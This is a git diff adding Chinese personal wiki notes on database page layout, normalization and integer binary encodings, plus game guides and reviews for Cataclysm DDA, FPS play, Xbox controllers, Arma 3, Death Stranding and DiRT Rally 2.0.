需要先寻找有足够空闲空间的页. +这意味着需要通过遍历页来查找适合的页, 而遍历页就需要先将页从外存中加载到内存里, 既耗时又会显著的增加内存占用率. + +插入数据前, 需要先寻找有足够空闲空间的页. + +```rust +struct Page { ... } + +impl Page { + // ... SKIP ... + + fn insert(&mut self, record: Record) -> Result<()> { /* ... SKIP ... */ } + fn delete(&mut self, index: usize) -> Result<()> { /* ... SKIP ... */ } +} +``` + +TODO: Page directory + +## 页布局 + +- 记录长度是否可变? +- 如何通过记录 ID 查找记录? (记录 ID = (页, 记录在页中的位置)) +- 如何添加和删除记录. + +### 打包的定长度记录 + +![](assets/packed_fix_length_page.png) + +```rust +struct PageHeader { TODO } +``` + +- 记录 ID: (page_id, number_in_page). +- 添加: 追加. +- 删除: 需要重新打包, 且记录 ID 将会发生变化. + +如果需要保持记录之间紧密相连, 那么在记录被删除后, 必须将后面的记录前移以填补空缺. 这与数组的处理方式类似. +不仅需要进行大量的移动操作, 而且还会导致记录在页中的偏移量发生改变, 进而导致记录 ID 发生变化. + +### 未打包的定长度记录 + +![](assets/unpacked_fix_length_page.png) + +该方法在页头部添加了一个 bitset, 用于表示是否存在记录. 这样删除记录就不需要移动其他记录. + +- 记录 ID: (page_id, number_in_page). +- 添加: 寻找第一个空缺的记录槽, 设置对应的比特位. +- 删除: 清除对应的比特位. + +与上一个方法相比, 该方法可以在常量时间内完成记录的删除, 并且能保持记录 ID 不变. + +TODO: Slot directory diff --git "a/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223\350\214\203\345\274\217\345\214\226.md" "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223\350\214\203\345\274\217\345\214\226.md" new file mode 100644 index 000000000..539d6857b --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\260\346\215\256\345\272\223\350\214\203\345\274\217\345\214\226.md" @@ -0,0 +1,52 @@ +# 数据库范式化 + +数据库范式化是一种设计关系型数据库的方法, 它可以减少数据冗余和异常, 提高数据完整性和一致性. + +## 无范式 (Unnormalized form, UNF) + +不满足 1NF. + +## 第一范式 (1NF) + +**作用**: 使属性不可再分. + +每个字段都是不可再分的最小数据单元. + +## 第二范式 (2NF) + +**作用**: 消除部分依赖. + +满足第一范式, 且所有非候选键的属性都完全函数依赖于候选键. + +### 函数依赖 (Functional dependency) + +若确定了属性 $X$ 的值必定能确定对应属性 $Y$ 的值, 则 $Y$ 函数依赖于 $X$, 写作 $X \rightarrow Y$. 比如: + +$$ +系名 \rightarrow 系主任 \\ +(学号, 课名) \rightarrow 分数 + $$ + +假设 X 为一个属性集: + +- 完全依赖: $X \rightarrow Y$, 但不依赖于 $X$ 下面的任何子集. +- 部分依赖: $X \rightarrow Y$ 且 $Y$ 不完全依赖于 $X$. + +若依赖关系如下: + +$$ +员工号 \rightarrow 部门 \\ +(员工号, 员工姓名) \rightarrow 部门 +$$ + +则 `部门` 完全依赖于 `员工号`, 部分依赖于 `(员工号, 员工姓名)`. + +## 第三范式 (3NF) + +**作用**: 消除传递依赖. + +满足第二范式, 且没有非候选键属性传递性依赖于候选键本身. + +### 传递性依赖 (Transitive dependency) + +若 $A \rightarrow B, B \rightarrow C$, 则 $C$ 通过 $B$ 传递依赖于 $A$. diff --git "a/docs/\345\205\266\344\273\226/\346\225\264\346\225\260\347\232\204\344\272\214\350\277\233\345\210\266\350\241\250\347\244\272.md" "b/docs/\345\205\266\344\273\226/\346\225\264\346\225\260\347\232\204\344\272\214\350\277\233\345\210\266\350\241\250\347\244\272.md" new file mode 100644 index 000000000..e74597e34 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\225\264\346\225\260\347\232\204\344\272\214\350\277\233\345\210\266\350\241\250\347\244\272.md" @@ -0,0 +1,75 @@ +# 整数的二进制表示 + +- 数制: 表示数量的规则. +- 码制: 表示事物的规则. + +整数常见的二进制表示有以下三种: + +## 原码 (sign-magnitude) + +原码是一种结合了数制与码制用于表示二进制有符号数的方法. +用最高位表示符号, 0 表示正号, 1 表示符号, 使用了码制. 其他位用于存储该二进制数的绝对值. + +以原码的方式解释二进制: + +$$ +B2S_w(\vec{x}) \doteq (-1)^{x_{w-1}} \cdot (\sum_{i=0}^{w-2}x_i2^i) +$$ + +```cpp +template +long B2S(std::bitset binary) +{ + long deciaml = 0; + for(size_t i = 0; i < N - 2; i++) + deciaml += binary[i] * std::pow(2, i); + return deciaml * (binary[N - 1] ? -1 : 1); +} +``` + +$$ + 2_{10} = 0010_2 \\ +-2_{10} = 1010_2 \\ ++0_{10} = 0000_2 \\ +-0_{10} = 1000_2 +$$ + +这种表达方式十分简单, 可以直观的看出数字的正负和大小, 但使用了码制意味着无法直接进行数值运算. 且 0 存在 +0 和 -0 两种表示方法. + +## 反码 (ones' complement) + +正数和原码一致, 负数为原码除符号位外各位按位取反. + +$$ + 2_{10} = 0010_2 \\ +-2_{10} = 1101_2 \\ ++0_{10} = 0000_2 \\ +-0_{10} = 1111_2 +$$ + +## 补码 (two's complement) + +以补码的方式解释二进制: + +$$ +B2T_w(\vec{x}) \doteq -x_{w-1}2^{w-1} + \sum_{i=0}^{w-2}x_i2^i +$$ + +```cpp +template +long B2T(std::bitset binary) +{ + long deciaml = binary[N - 1] * std::pow(-2, N - 1); + for(size_t i = 0; i < N - 2; i++) + deciaml += binary[i] * std::pow(2, i); + return deciaml; +} +``` + +$$ + 2_{10} = 0010_2 \\ +-2_{10} = 1110_2 \\ + 0_{10} = 0000_2 \\ +$$ + +0 只存在一种表示方法. diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/Cataclysm_DDA.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/Cataclysm_DDA.md" new file mode 100644 index 000000000..71e809733 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/Cataclysm_DDA.md" @@ -0,0 +1,89 @@ +# Cataclysm: Dark Days Ahead + +![Main menu](assets/main_menu.png) + +!!! warning + 本文基于实验性质的 `0.H Stable Candidate, build ec77c5f` 版本. + +Cataclysm: Dark Days Ahead (DDA, CDDA) 是一款回合制的末日生存游戏, 代码由 C++ 编写, 并开源在 GitHub 上. + +虽然 DDA 在 LibreGameWiki 被分类为 Roguelike 类型, 但其更接近沙盒类型. + +## 快速入门 + +### 常用键位 + +- `?`: 打开**键位菜单**, 可以查看当前可以使用的操作以及对应的按键. +- `i`: 打开**库存**, 在其他游戏里也称为背包. +- `g`: 拾起周围物品. +- `x` 或 `;`: 进入**查看模式**, 查看周遭的环境. 在 ASCII 模式下, 新手难以辨别场景中的事物, 可以借助该功能获取场景的详细描述. 在光照充足的时候还能直接看到某个位置上摆放的物品. 为确保玩家能看清画面, 通常会缩放视口, 导致视口无法完整的包含 @ 的视野. 查看模式还可以用于移动视口, 以便在缩放不变的情况下看清视野内的其他事物. 除此之外侧边栏的方位指示器(即罗盘)也是一个获取视野外信息的好方式. + +!!! info + 玩家无需专门记忆键位, 仅在需要的时候查看键位菜单即可. 不同的版本键位可能存在差异, 比如 `v` 在 `0.G` 版本对应心情菜单, 在 `0.H` 版本则对应插入菜单. `0.H` 版本中的心情菜单则需通过 `@` `m` 打开. + +### 设置 + +**选项菜单**可以直接从主菜单或在游戏内按 `Esc` `2` 进入. +开始游戏前值得调整的设置选项: + +- **计量单位**: 因为游戏内涉及大量数值, 因此有必要设置熟悉的计量单位. 相关选项位于 `选项 | 界面 | 计量单位` 中. +- **贴图包**: 游戏自带多种贴图包, 游戏内场景和地图均可使用贴图包. 相关选项位于 `选项 | 图形 | 图像包` 中. +- **显示**: 选项位于 `选项 | 图形 | 渲染调整 | 全屏显示`. 可以设置窗口显示模式(全屏/无边框/否(即窗口化)等). +- **字体大小**: 选项位于 `选项 | 图形 | 字体设置`. + +!!! warning + 部分设置选项仅在游戏重启后生效. + +#### HiDPI + +在 Windows 下, 为确保游戏能正确且清晰的显示, 还需要进行以下设置: + +1. 在游戏程序文件 `cataclysm-tiles.exe` 上右键, 选择 `Properties`. +2. 打开 `Compatibility | Settings | Change high DPI settings`. +3. 在新窗口的 `High DPI scaling override` 下, 勾选 `Override high DPI scaling behavior.`, 并将 `Scaling performed by` 设置为 `Application`. + +### 战斗建议 + +初期玩家走路移动速度比大部分怪物快, 因此可以随时脱战. 但一旦受到伤害就可能降低行动能力, 进而更容易受到下一波攻击, 导致恶性循环. +因此使用可以范围攻击的武器, 避免怪物近身: + +- 有范围攻击的远程武器, 如矛 (`武器 | 刺击 | 矛`)/石头. +- 弹药充足的枪械. 请注意, 枪械射击时产生的噪音会吸引怪物. + +### 其他建议 + +![Tutorial](assets/tutorial.png) + +新手可以通过游戏自带的**游戏教程**引导式的学习基础操作. +请一次性完成教程, 重新载入已保存的教程世界不会再显示 Tips. + +在入门时, 可以通过利用世界生产参数/无限点数来降低生存难度, 提高学习效率. 降低死亡风险后, 玩家便可以有更多机会学习战斗以外的知识. + +!!! warning + 游戏仅提供 `S` 保存并退出的选项, 若不想保存当前存档, 可以通过 `Alt` `F4` 或在命令行下 `Ctrl` `C` 来强制退出游戏. + 若要进行手动存档管理, 建议从设置中关闭自动保存. 选项位于 `选项 | 常规 | 自动保存 | 自动存档`. + +## Reality bubble + +Reality bubble 是游戏内部实现的一直机制, 此处提及是因为其可能产生玩家**意料外的行为**. +玩家行动后, 游戏仅会更新玩家周围的部分区域, 而非整个世界. 这是一种常见的优化手段, 避免模拟带来过大的性能开销. +这意味着气泡外的大部分事物将跳过更新, 仿佛时间暂停了一般, 不会再玩家重新进入时加速时间流逝到当前时间点, 而只会继续. +少数的特定事物 (如植物的生长/怪物的进化/事物的腐烂) 依然受时间影响. 推测的原因是这类特定事物不会对周遭环境产生影响, 因此较为容易模拟. + +## 字体 + +将字体文件移动到 `font` 中, 并在 `config/fonts.json` 中添加相应字体. + +- `typeface`: UI 使用的字体. +- `map_typeface`: 场景使用的字体. +- `overmap_typeface`: 地图使用的字体. + + + +## 参见 + +- DDA GitHub: +- DDA 官网: +- DDA 游戏内物品查询: +- DDA 中文攻略手册: diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/assets/main_menu.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/assets/main_menu.png" new file mode 100644 index 000000000..c8c416de0 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/assets/main_menu.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/assets/tutorial.png" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/assets/tutorial.png" new file mode 100644 index 000000000..0e962a2a8 Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Cataclysm_DDA/assets/tutorial.png" differ diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/FPS_\345\205\245\351\227\250\346\214\207\345\215\227.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/FPS_\345\205\245\351\227\250\346\214\207\345\215\227.md" new file mode 100644 index 000000000..5c4014c8b --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/FPS_\345\205\245\351\227\250\346\214\207\345\215\227.md" @@ -0,0 +1,94 @@ +# FPS 入门指南 + +这是一篇关于第一人称射击游戏的通用入门指南. + +## 享受 + +在多人游戏中, 享受游戏的过程是最重要的一点, 但也是最容易被忽略的. +玩家在游戏中遇到其他人的攻击或作弊行为时, 应该保持冷静, 不要忘记游戏的初衷. +对于大多数人来说, 玩游戏只是一种娱乐方式, 包括第一人称射击游戏, 因此应该保持轻松和愉悦的心态 :D. + +## 设置 + +### 显示 + +| 选项 | 建议 | 描述 | | +| ---------- | --------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- | - | +| 垂直同步 | 关闭 | 可以防止画面撕裂, 但是会增加图像处理的延迟, 并且可能限制渲染帧率. 为了追求更高的流畅度和反应速度, 建议关闭垂直同步. | | +| 鼠标平滑 | 关闭 | 可以减少低轮询率鼠标造成的卡顿感, 但是会增加鼠标输入的延迟. 为了追求更高的操作精度和灵敏度, 建议关闭鼠标平滑. | | +| 视野 | 根据显示器大小和自身情况, 调整到一个合适的视野大小. | 过于狭窄的视野会使玩家更难注意到周边的事物; 过于宽广的视野会使场景内的物体变小, 导致画面变形, 且会引入更多可能使玩家分心的事物. | | +| 画面长宽比 | 显示器长宽比 | 更小的长宽比意味着画面中的物体更宽, 可能可以增加目标的面积提高玩家的命中率, 但需要牺牲画面效果. | | +| 目标帧率 | 大于或等于屏幕刷新率 | 更高的帧率意味着更低的延迟和更流畅的体验. | | + +### 画面 + +| 选项 | 建议 | 性能影响 | +| -------------- | --------------------------------- | -------------------------------- | +| 阴影 | 在确保有动态阴影的情况下尽可能低. | 对 GPU 性能影响较大. | +| 动态阴影分辨率 | 尽可能低. | 对 GPU 性能有影响, 提高显存占用. | +| 静态阴影分辨率 | 尽可能高. | 提高显存占用. | + +调整画面的时候可以开启 Xbox Game Bar 查看 CPU/GPU 负载和内存/显存占用率. + +### 音频 + +- 声道: + + 声道是指声音输出设备所能发出的声音方向数量. 更多的声道可以提高声音的立体感和定位感, 帮助玩家判断敌人或物品的位置. 应该根据自己使用的扬声器或耳机, 选择一个合适的声道模式. 如果条件允许, 建议选择效果最佳的 7.1 声道. + +## 掩体 + +大部分掩体可以分为以下两类: + +- 遮蔽物: 可以遮蔽视线, 但无法阻止子弹穿透. +- 遮掩物: 可以阻止子弹穿过. + +少数物体无法分入上面两类 (如防弹玻璃, 可穿透子弹但会削减子弹动能的木箱). +以下掩体均指代遮掩物. + +- 离掩体越近: 探出掩体后暴露的面积越大. +- 离掩体越远: 掩体遮挡的范围越小. + +## 战术 + +- 取得优势: 通过各种方法为己方取得优势, 积累优势以增加获胜概率. +- 出其不意: 在敌人松懈的时候出击, 在敌人警觉的时候回避. 伏击没有防备的敌人后需要及时撤退, 因为优势在消失. +- 吸取教训: 总结错误, 使自己在不断的失败中走向成功. +- 沟通交流: 一句口头提醒或许能帮助队友避免错误, 也记得聆听队友的劝告, 但要注意尊重队友, 避免成为 "压力怪" 或 "指挥官". + +## 武器 + +### 主武器 + +主武器是玩家战斗时主要使用的武器, 相较于副武器, 主武器通常具有更高的杀伤力/精度和弹容量. + +### 副武器 + +一般, 主副武器的切换和换弹之间的时间关系如下: + +$$ +T_{主武器换弹} > T_{切换主副武器} \\ +T_{主武器换弹} > T_{副武器换弹} \\ + +T_{切换主副武器} + T_{主武器换弹} > T_{副武器换弹} +$$ + +因此紧急情况下, 主武器没有子弹后, 应首先选择切换为副武器, 副武器没有子弹后应该直接进行换弹. +待环境安全后, 应确保副武器子弹充足然后切换至主武器再进行换弹. + +在 `逃离塔克夫` 中, 武器可能发生故障导致无法继续射击, 紧急情况下应按照没有子弹的情况处理. + +## 场景 + +在游戏中, 场景通常是固定不变的, 玩家可以通过对场景的熟悉来获取优势. +此外, 熟悉场景还有助于玩家培养"意识", 使其能够更好地判断和预测敌人的动向. + +## 声音 + +在游戏过程中, 声音是一种容易被入门玩家忽略的重要信息. 玩家的走动/奔跑/使用武器等各种行为都会产生相应的声音. +因此, 通过倾听声音, 玩家可以判断附近发生的事情. 结合空间音频提供的位置信息, 还可以进一步判断出事件发生的大致位置. +将这些声音转化为信息, 可以为己方提供优势. + +在 `彩虹六号: 围攻` 中, 由于玩家主要是在室内进行近距离作战, 因此声音能带来更丰富的信息. +在 `叛乱: 沙漠风暴` 中, 玩家可以利用空间音频判断手雷落点的大致位置. 由于游戏没有提供手雷指示器, 所以该信息十分重要. +在 `最终决战` 中, 玩家可以利用空间音频判大战场中的热点, 进而绕过热点选择安全的行进路线. diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Xbox_\346\216\247\345\210\266\345\231\250.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Xbox_\346\216\247\345\210\266\345\231\250.md" new file mode 100644 index 000000000..5d519a1b7 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/Xbox_\346\216\247\345\210\266\345\231\250.md" @@ -0,0 +1,51 @@ +# Xbox 控制器 + +## 可选配件 + +以下配件都不是必备品, 需根据具体需求选购. + +- 可充电电池: 等于变成可充电手柄, 安装电池后无需再卸下, 直接通过给手柄接线即可充电. +- 无线接收器: 支持音频输出 (蓝牙不支持), 支持多手柄同时连接. + +这两种配件都有第三方生产且适配 Xbox 控制器的, 购买前需仔细判断是否兼容具体的控制器类型. + +## 正品鉴别 + +存在大量赝品, 购买前需要仔细甄别. + +- 拓展端口内部上方有一个小半圆, 下方有两个小半圆. +- USB 充电端口内部横板两侧有两个小金属条. +- 电池仓条形码上方的编号开头的 "M" 右侧竖线比较细. +- 电池仓条形码下方的编号可以进行登记, **注意**: 登记后将无法进行退货. + +以上几项必须同时满足. + +部分项可以在购买前进行鉴别, 比如询问商家序列号是否可以在微软官网进行验真, 如果答复为否即为假货. 如果产品名称包含"袋装"/"美版"则为赝品的概率更高. + +## 校验 + +即使是正品也依然可能存在质量问题, 因此新手柄应该进行校验, 检查各项功能是否正常. +可以使用网站 [Gamepad Tester](https://gamepad-tester.com/) 进行校验. +使用无线手柄时需要测试不同连接方式 (有线/蓝牙/无线接收器) 下手柄工作是否正常. + +- 按键每次按下都能检测到. +- 按键能及时回弹. +- 按键映射正确. +- 扳机轻微按下便可感应到. +- 震动马达能及时停止. + +以上几项必须同时满足. + +## 注意事项 + +- 非黑色摇杆建议使用摇杆帽保护套, 防止长时间使用导致摇杆帽变黑. 也可以直接替换为黑色摇杆. +- 左右马达 (包括扳机马达) 震动幅度/频率不同是正常现象. + +## 故障排除 + +- 部分游戏在使用蓝牙连接手柄时存在断连现象 + + 首先需要确认问题出在软件上, 比如断连的现象仅存在于部分游戏中. + + - [更新手柄固件](https://www.microsoft.com/en-au/p/xbox-accessories/9nblggh30xj3?rtc=1&activetab=pivot:overviewtab) + - [更新蓝牙驱动](https://downloadcenter.intel.com/download/29919/Intel-Wireless-Bluetooth-for-Windows-10) diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\345\237\272\344\272\216\347\273\210\347\253\257\347\232\204\346\270\270\346\210\217.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\345\237\272\344\272\216\347\273\210\347\253\257\347\232\204\346\270\270\346\210\217.md" new file mode 100644 index 000000000..6ac39c86d --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\345\237\272\344\272\216\347\273\210\347\253\257\347\232\204\346\270\270\346\210\217.md" @@ -0,0 +1,7 @@ +# 基于终端的游戏 + +## 参见 + +- . +- . +- . diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\346\270\270\346\210\217\347\232\204\346\261\241\345\220\215\345\214\226.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\346\270\270\346\210\217\347\232\204\346\261\241\345\220\215\345\214\226.md" new file mode 100644 index 000000000..2f8ec9e3e --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\346\270\270\346\210\217\347\232\204\346\261\241\345\220\215\345\214\226.md" @@ -0,0 +1,38 @@ +# 游戏的污名化 + +## 由来 + +如今的中国互联网上, 依然可以看到部分人使用"精神鸦片"/"电子海洛因"等词形容电子游戏. 然而这些词汇最初并不是用在电子游戏上, [DEL]. + +## 里程碑 + +- 2000 年 5 月 9 日, 光明日报发表了一篇名为 *电脑游戏 瞄准孩子的"电子海洛因"──由一位母亲控诉引出的暗访* 的文章. + + 文章中: + + [DEL] + + 作者"暗访"游戏行业中违法经营的场所 [DEL] 结论让人不敢苟同. + + 该文章入选 *新闻写作教程* (ISBN 10: 7300039812, ISBN 13: 9787300039817) 第 483-487 页. + +- 2000 年 6 月 15 日, [DEL]. + + [DEL]. + +- 2008 年 7 月 3 日, [DEL]. + + [DEL] 临沂市网络成瘾戒治中心主任杨永信通过电击/殴打/侮辱/威胁等方式尝试解除青少年网瘾, 其中的"电击疗法"因为可以给人带来心理上/生理上的巨大痛苦, 最广为人知. + 临沂市网络成瘾戒治中心从 2006 年 1 月开办, 2009 年 4 月被媒体曝光, 2016 年 8 月关停. + + [DEL]. + +- 2014 年 1 月 6 日, [DEL]. + + [DEL]. + +- 2021 年 8 月 3 日, [DEL]. + +## 参见 + +[DEL] diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/ARMA3.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/ARMA3.md" new file mode 100644 index 000000000..fd5da4d95 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/ARMA3.md" @@ -0,0 +1,95 @@ +# Arma 3 + +**全称**: Armed Assault 3. +**中文**: 武装突袭 3. + +![封面 - Bohemia Interactive](assets/arma_3_cover.jpg){ width=30% style="display: block; margin: 0 auto" } + +## 测评 + +**类型**: 军事模拟, FPS/TPS, 拟真, 多人合作. + +| 项目 | 评分 | 描述 | +| ---- | ---- | ---- | +| 总体 | 7 | | +| 画面 | 8 | | +| 音效 | 6 | | +| 优化 | 2 | | +| 剧情 | - | | + +### 优点 + +- 目前该类型拟真度最高的游戏. +- 机制的实现十分复杂且完善. +- 有丰富的枪械和载具, 部分需要购买 DLC 解锁. + +### 缺点 + +- 优化不佳. +- 不支持 Steam 云存档及其他云存档. +- 服务器数量以及在线人数少, 其他地区延迟十分高且易掉线. 多款加速器均无效果. +- 人物动作僵硬, 如跨越障碍只是一个与场景无关的僵硬动画/人被击中后的反应不真实. +- 剧情刻意美化北约 (NATO), 抹黑其他国家 (CSAT). + +### 严重问题 + +- 存档可能丢失/损坏, 导致失去游戏进度. +- 在中文输入法启用的情况下游玩, 约 10 分钟后会崩溃. +- 跨越障碍物可以透视或穿墙. +- NPC 射击精度不平衡: 即使站位极具优势且先发制人, 依然可能被 NPC 一枪击杀. 虽然更贴近现实, 但这终究是游戏和模拟, 因此体验不佳. 可以在设置中修改 AI 敌人的射击精度. +- ~~不支持外设热拔插: 如果要使用新的输入或输出设备(如耳机/手柄)需要到设置里刷新~~. (已修复) + +## 优化 + +以下设置仅供参考, 需根据实际情况进行调整. 比如单人战役环境可能与服务器环境有较大差异, 因此需要分别寻找二者的最优设置. + +### 游戏内 + +适用: + +- PIP: `低` 或 `禁用`, 对性能有极大影响. +- 水面反射: `标准`. + +显示: + +- 垂直同步: `禁用`, 降低延迟. +- FSAA: `禁用` 或 `2x`. + +后处理: + +- 径向模糊: 0, 减少非必要视觉效果. +- 旋转模糊: 0, 减少非必要视觉效果. +- 焦散线: `禁用`, 减少非必要视觉效果. + +### 启动器 + +- 在菜单中显示静态背景: 勾选, 减少进入游戏的时间. +- 在启动时跳过标识: 勾选, 减少进入游戏的时间. +- CPU 总数: CPU 核心数. +- 额外线程: 勾选, 子项目全部勾选. +- 启用超线程: 勾选. +- 启用大页内存支持: 勾选. + +### 配置文件 + +修改配置文件 `%USERPROFILE%\Documents\Arma 3\Arma3.cfg` 中的以下选项: + +```cfg +refresh=<屏幕刷新率>; +GPU_MaxFramesAhead=1; +GPU_DetectedFramesAhead=1; +``` + +### 模组 + +- [Automatic ViewDistance]\: 根据帧率自动调节视距. +- [Advanced Garbage Collector]\: 将尸体替换为裹尸袋, 减少对象三角形数. +- [Optimize Performance]\: 优化相关模组合集. + +[Automatic ViewDistance]: https://steamcommunity.com/sharedfiles/filedetails/?id=1544955993 +[Advanced Garbage Collector]: https://steamcommunity.com/sharedfiles/filedetails/?id=1724884525 +[Optimize Performance]: https://steamcommunity.com/sharedfiles/filedetails/?id=2779217051 + +## 参考 + +- [如何在 Arma 3 中将我的 FPS 翻倍 - 优化性能指南 - 飞龙岩山 - bilibili](https://www.bilibili.com/video/BV1iV4y177YT?vd_source=b0a1d90ff65d8547a0ffc9ce4d68bcfd) diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Dave_the_diver.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Dave_the_diver.md" new file mode 100644 index 000000000..af0065b51 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Dave_the_diver.md" @@ -0,0 +1,28 @@ +# Dave the diver + +**中文**: 潜水员戴夫. + +- "匠人之火" 应预留 5-10 个, 因为可能有近期活动需要研制新的菜谱. +- 进入冰河地区后, 左边地形有一处可以用石头砸开的破碎地板, 但附近没有石块. 这是任务地点, 接到任务 "走失的小海牛" 后附近会生成石头. 砸开后会生成通往新区域的入口, 但提前从远处搬石块砸则会是死路. + +## 员工推荐 + +### 厨房 (厨师) + +- 乌拉尔. +- 东北. + +### 大堂 (服务员) + +- 比利. + +TODO + +## 武器 + +- 睡眠三旋枪 + +单颗子弹有 40% 的概率(Lv.1)使目标立即沉睡 9 秒: + +- 单发全命中的沉睡概率是: 78.4% = $1 - (1 - 0.4)^3$. +- 最坏情况下是 6 发全部命中, 且目标未沉睡. 发生概率约为: 0.01% = $(1 - 0.4)^{3 \times 6}$. \ No newline at end of file diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Death_Strading.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Death_Strading.md" new file mode 100644 index 000000000..aa80cad94 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/Death_Strading.md" @@ -0,0 +1,51 @@ +# Death Stranding + +**中文**: 死亡搁浅. + +![封面 - KOJIMA PRODUCTIONS](assets/death_stranding_cover.jpg){ width=30% style="display: block; margin: 0 auto" } + +## 测评 + +**类型**: 第三人称, 单人, 异步联机. + +| 项目 | 评分 | 描述 | +| ---- | ---- | ------------------ | +| 总体 | 8 | | +| 画面 | 8.5 | | +| 音效 | 7 | 存在大量重复的声音 | +| 优化 | 9 | | +| 剧情 | 7 | | + +### 优点 + +- 有些角色使用了知名演员的外貌和配音. +- 有好听的背景音乐. + +### 缺点 + +- 核心玩法较为枯燥 + + 游戏中大部分道具都围绕着"送货"这个主题, 不像是为主要玩法增添色彩, 更像是为了掩盖玩法单调而增加调味剂. + 还有部分道具是用来对 "米尔人" 进行作战的, 然而战斗完毕后玩家依然需要通过送货来保留战利品. + + 这款游戏仅以"送货"作为核心玩法, 然后围绕这这个玩法添加各种内容. + 包含了许多有创新的设计, 比如人物的运动更容易收到环境的影响, 异步联机等. + 但由于核心玩法较为枯燥, 有种瑜不掩瑕的感觉. + +### 两极分化 + +该作品在评分方面出现了两级分化, 一部分人认为玩法单一, 送货枯燥无味. 一部分人甚至将其称为"第九艺术". + +我认为: + +- 送货的过程逐渐变得无聊, 在游玩的过程中玩家逐渐解锁各种道具, 这些道具都能给玩家带来一些新的体验. + 但是这种新鲜感来得快也去得快, 在玩家解锁了全部道具后送货这一过程就逐渐变得枯燥无味了. +- 目前能称之为"第九艺术"的游戏屈指可数, 死亡搁浅肯定不在其中. + 游戏有十分好听的背景音乐, 但这并不能代表游戏的整体质量. + +根据发售后 13 天左右时的成就达成率可以看出, 某些章节后玩家的退坑率明显提高. +因此可以推测, 不合理的关卡设计使部分玩家获得了较差的体验. + +## 参考 + +- [【不止游戏】死亡搁浅为什么被骂的那么惨? - 森纳映画 - bilibili](https://www.bilibili.com/video/BV1MJ411d7MA?vd_source=b0a1d90ff65d8547a0ffc9ce4d68bcfd) diff --git "a/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/DiRT_Rally_2.0.md" "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/DiRT_Rally_2.0.md" new file mode 100644 index 000000000..42648079f --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\346\270\270\346\210\217/\350\257\204\344\273\267/DiRT_Rally_2.0.md" @@ -0,0 +1,68 @@ +# DiRT Rally 2.0 + +**中文**: 尘埃拉力赛 2.0. + +![封面 - Codemasters](assets/dirt_rally_2.0_cover.jpg){ width=30% style="display: block; margin: 0 auto" } + +## 测评 + +**类型**: 赛车, 拟真, 单人, 多人竞技. + +| 项目 | 评分 | 描述 | +| ---- | ---- | ---- | +| 总体 | 9 | | +| 画面 | 10 | | +| 音效 | 9 | | +| 优化 | 9 | | +| 剧情 | - | | + +### 优点 + +- 大部分场景是真实存在的. +- 汽车物理模拟完善. + +### 缺点 + +- 人物动画僵硬且重复. + +### 描述 + +## 人体学接口设备 + +- 键盘: 可以正常游玩, 但由于设备特性不支持无极变速等操作, 且代入感较差. +- 手柄: 体验良好, 有震动反馈. +- 方向盘等. + +## 入门 + +Freeplay 下的模式结算后不记录车辆损伤状态, 且 Time Trial 和 FIA World Rallycross Championship 模式可以自定义赛道/天气状况, 最适合进行普通和有针对性的训练. + +可以从最好驾驶的四驱车入手, 然后前驱车 (可选), 最后最难驾驭的后驱车. 四驱车用于入门, 后驱车用于训练. + +### 地图 + +- 直道多: 波兰, 新英格兰. +- 弯道多: 新西兰. + +### 设置 + +- 赛道长度: 选短途赛道, 可以更轻松的完成. +- 时间: 白天, 光照条件良好. +- 天气: 晴天, 路面干燥. +- 轮胎: 软, 抓地力强. + +在能使用四驱车顺利完成比赛后便可开始尝试 My Team 中的 Event. + +## 职业生涯模式 + +该模式适合入门后再游玩, 因为比赛后玩家需要承担车辆的维修费用, 而新手可能会出现维修费用高于奖金的情况. +当能正常完成赛事且收益大于支出便可以开始游玩该模式. + +- 